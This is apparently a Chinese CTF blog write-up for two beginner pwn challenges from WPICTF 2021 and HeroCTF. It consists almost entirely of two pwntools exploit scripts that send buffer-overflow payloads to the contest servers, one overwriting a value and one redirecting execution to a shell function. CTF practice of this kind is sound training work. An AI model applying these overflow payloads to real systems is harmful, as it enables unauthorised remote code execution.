HEROCTF WPICTF 2021 pwn签到

m4h
WinButTwisted

@TOC

m4h

#!/usr/bin/env python2
from pwn import *

arch = "amd64"
filename = ""

context(os="linux", arch=arch, log_level="debug")
content = 1
# elf
#elf = ELF(filename)
# libc
def main():
    global io
    if content == 0:
        io = process("./" + filename)
    else:
        io = remote("smash184384.wpictf.xyz",15724)
    payload=b'a'*11+p32(923992130)
    io.sendline(payload)
    io.interactive()
main()

WinButTwisted

#!/usr/bin/env python2
from pwn import *

arch = "i386"
filename = "WinButTwisted"

context(os="linux", arch=arch, log_level="debug")
content = 1

offset = 0
# elf
elf = ELF(filename)
set_addr=0x08049965
shell_addr=0x08049999

# libc

def main():
    global io
    if content == 0:
        io = process("./" + filename)
    else:
        io = remote("pwn.heroctf.fr",9003)
    payload=b'a'*(0x20)+p32(set_addr)+p32(shell_addr)
    io.sendline(payload)
    io.interactive()
main()

-------------本文结束感谢您的阅读-------------

赏

谢谢你请我吃糖果